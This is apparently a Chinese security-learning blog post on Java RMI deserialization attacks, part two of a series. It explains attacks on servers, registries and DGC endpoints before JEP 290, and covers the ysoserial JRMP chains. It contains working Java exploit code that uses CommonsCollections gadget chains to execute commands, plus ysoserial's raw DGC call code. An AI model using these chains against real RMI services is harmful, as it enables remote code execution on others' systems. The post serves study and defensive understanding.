RMI反序列化攻击学习(2)
RMI攻击手法学习
上篇分析完整个流程后就可以对RMI有一些理解了
这篇说的是jep290之前,测试版本为jdk8u66,没有经过过滤的攻击方法,对所有攻击方法进行分析。而下一篇专门分析绕过
这里的视角主要是我们作为攻击者的视角,使用服务端攻击客户端也只是我们伪造成服务端
客户端攻击服务端
参数类型为Object
所以我们只要把一个恶意类如之前的cc1,cc6传过去即可,例如传cc6,把方法里面的参数值改掉即可,当然服务端同样也可以攻击客户端,改返回值即可,这里无需多言


参数类型不为Object时的绕过
如何对这里进行绕过,因为上面的攻击必须建立在服务端方法参数类型为Object,如果服务端的参数不为Object,比如用file代替

直接攻击会出现报错, unrecognized method hash,这就是上一篇提到过的地方

在服务端此处报错,method为空,后面则无法unmarshalValue反序列化。

这里的hashToMethod_Map之前也提到过,所以我们如何绕过

而这个hash是如何传入服务端的呢,也就是这个StreamRemoteCall把hash值写入了


其实思路就出来的,只要服务端接受的hash值是对的就能完成后面的反序列化,所以只要传method时,把method改为,参数类型与客户端一致即可,例如服务端的参数是File举例

传入时使用Object的方法,而传hash时改为参数类型为File的方法,当然客户端的本地得配只是为了防止不报错,正常执行

这里主要是用debugger方法,最简单,一共四种方法,目的时一致的
- 通过网络代理,在流量层修改数据
- 自定义 “java.rmi” 包的代码,自行实现
- 字节码修改
- 使用 debugger
两种方法,第一种反射把整个method改掉

也可以通过改method的里面的参数类型即可,然后直接弹出计算器

客户端攻击注册中心
之前说过和注册中心通信的主要阶段时主要是下面这一步,有四种方法,bind,lookup,rebind,list
registry.bind("remote", remote);
通过bind方法攻击(动态代理伪造绕过 ysoserial.exploit.RMIRegistryExploit)
使用bind方法攻击面临的问题就是这里的参数类型必须为Remote,当然还得能够序列化,如何绕过?

整个思路时这样的,其实说起来很简单,但是当时想的时候是想了很久的,也加深了动态代理的理解:
如图,回顾一下当时CC1链-LazyMap链利用分析 - kudo4869 - 博客园的。AnnotationInvokerHandler只是作为一个类去反序列化然后进行下面的逻辑,而这里的绕过增添的逻辑:用这个类再去代理Remote类,这个Remote委托类通过bind方法传到服务端,服务端会反序列化Remote委托类,而这个类作为动态代理类会反序列化AnnotationInvokerHandler,而后面的利用流程就和CC1完全一致了

所以其实poc只需要加一句话而已,这和ysoserial.RMIRegistryExploit逻辑是基本一样的
public class RMIClient {
public static void main(String[] args) throws Exception {
//CC6
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//生成处理器
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
//生成LazyMap委托类
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);
//生成Remote委托类
Remote remote = (Remote)(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
invocationHandler2
));
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.bind("remote", remote);
}
}
通过lookup方法攻击
这个逻辑就很简单,因为客户端是完全由我们控制,我们模拟lookup把恶意类写进去就行了,服务端是先反序列化恢复原先的数据,然后再转为String类型,所以还是能成功攻击的

poc,我就直接用cc1了,其他也行
public class RMIClient {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//生成处理器
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
//生成LazyMap委托类
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
//生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Field ref = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
ref.setAccessible(true);
UnicastRef remoteRefe = (UnicastRef) ref.get(registry);
Field declaredField = registry.getClass().getDeclaredFields()[0];
declaredField.setAccessible(true);
Operation[] operations = (Operation[]) declaredField.get(registry);
RemoteCall remoteCall = remoteRefe.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
outputStream.writeObject(invocationHandler2);
remoteRefe.invoke(remoteCall);
}
}
客户端攻击DGC
我们来学习一下DGC,类比着注册中心学习会简单很多
在RMI(Remote Method Invocation)中,DGCImpl_Stub和DGCImpl_Skel分别用于客户端和服务端的分布式垃圾回收(DGC)通信,其调用时机与DGC机制的交互流程密切相关
1.DGCImpl_Stub的调用场景:
当客户端需要通知服务端某个远程对象已被释放或标记为“脏”(dirty)时,会通过DGCImpl_Stub发送请求。例如:
标记对象为脏:当客户端本地对象引用计数变化时,通过DGCImpl_Stub.dirty()方法通知服务端。
清理远程引用:DGCImpl_Stub.clean()方法告知服务端客户端不再持有某个远程对象的引用
触发条件:客户端本地对象的引用关系发生变化(如对象被垃圾回收)。定期DGC心跳检测(RMI默认每小时执行一次DGC检查)。
2.DGCImpl_Skel的场景引用:
服务端处理DGC请求
当服务端接收到客户端的DGC请求(如dirty或clean)由DGCImpl_Skel的dispatch方法解析并执行对应逻辑。
客户端通过DGCImpl_Stub发送DGC请求。
接下来我们来分析如何攻击DGC,其实和攻击注册中心的流程基本一致
ysoserial.exploit.JRMPClient链分析
这是出自ysoserial.exploit.JRMPClient里的如何构造DGC请求,然后直接攻击
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
同时我们调试程序对照着DGC请求,来到线程run方法后调用serviceCall,前一步是handlerMessage,这里调用read方法我们可以看看

首先读取了一个Long型参数,如何UID.read又再次读了Int,Long,Short组成UID,然后ObjID封装了num和UID


最后的是这样的类型



所以拿的Target里面则是DGCImpl_Skel,DGCImpl_Stub

然后来到DGCImpl_Skel#dispatch,当然dirty和clean方法都是存在着反序列化漏洞的,所以也能看出注册中心的流程基本一样,自然所有能监听的端口都能被攻击DGC,如Registry端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口


这个思路就和ysoserial.exploit.JRMPClient一致,即写好命令直接能成功攻击

反序列化链
RMI中的一部分类会出现一些反序列化链,我们也需要对其进行学习,为后面的绕过做铺垫,当然下面的链的序列化和反序列化的点自然是rmi客户端或者服务端或者注册中心上实现
UnicastRemoteObject(ysoserial.payload.JRMPListener原理)
这条链的作用不像cc可以任意命令执行,主要作用是开启监听,在对方服务端上开启一个rmi监听,可以搭配其他攻击使用,DGC,注册中心攻击等
调用reexport

而其中的exportObject我们就很熟悉了,最终会TCPTransport.exportObject,开启监听.而后接受到通信会统一处理,具体攻击哪个地方,得依照请求进行


ysoserial里的,在客户端开启一个jrmp的监听

这条链学习完之后,我们就能进行二次反序列化攻击。
ysoserial.payload.JRMPListener+ysoserial.exploit.JRMPClient
上面说了ysoserial.exploit.JRMPClien攻击DGC,而这里我们将其中的CC利用链替换为这条即可在对方服务端开启一个rmi监听,然后再对这个rmi进行攻击,有些鸡肋但是可能能绕过一些黑名单
UnicastRef
UnicastRef继承了java.io.Externalizable,反序列化时会调用readExternal
调用readExternal,然后就是一系列调用,直到调用DGC.dirty,刚刚说的对DGC的攻击

UnicastRef#readExternal
LiveRef#read
DGCClient#registerRefs
EndpointEntry#registerRefs
EndpointEntry#makeDirtyCall
DGCImpl_Stub#dirty
RemoteObject(payload.JRMPClient)
ref设置为上一条的UnicastRef即可,也就是ysoserial.payload.JRMPClient的原理

重点的地方是两个,前面就不赘述了,RemoteObjectInvocationHandler是RemoteObject的子类,里面塞入了需要的UnicastRef,创建了一个Registry的动态代理,所以反序列化时会调用RemoteObject的序列化然后触发上述的调用了,发起请求DGC.dirty。
这条payload的作用就是可以让对方发送一个DGC请求,比如传入一个伪造的服务端的端口号和ip,对方服务端则会作为(此时如客户端)向伪造的服务都安发送DGC请求

服务端攻击客户端(exploit.JRMPListener+payload.JRMPClient)
在上述的攻击中,把ysoserial的四条链都学习了一遍,还差这条链exploit.JRMPListener(开启jrmp监听,返回一个异常的恶意对象)的分析,其实知道原理后,都是非常简单分析的,这条链也没有什么特别之处。然后这条链加上payload.JRMPClient可以形成服务端攻击客户端,我们模拟服务端
作用:在我们的攻击机上开启一个监听,收到监听后返回一个恶意类给请求的客户端。简单看看代码

创建socket连接

run方法中doMessage处理请求->doCall

doCall创建了一个异常请求BadAttributeValueExpException写入payload然后写入流中

而此时的被攻击机是作为了客户端在给这个伪造的服务端发送DGC.dirty请求(通过payload.JRMPClient实现),所以我们看DGCImpl_Stub#dirty
调用invoke->executeCall

进入我们伪造的第二个异常,反序列化,完成攻击,再搭配着payload.JRMPClient(使其发送DGC.dirty请求)使用形成我们攻击

填写ip,端口即可

参考:
https://www.anquanke.com/post/id/259059#h3-11
https://su18.org/post/rmi-attack/#3-remoteobject
https://www.cnblogs.com/R0ser1/p/16757433.html#通过rasp-bypass原理object参数

浙公网安备 33010602011771号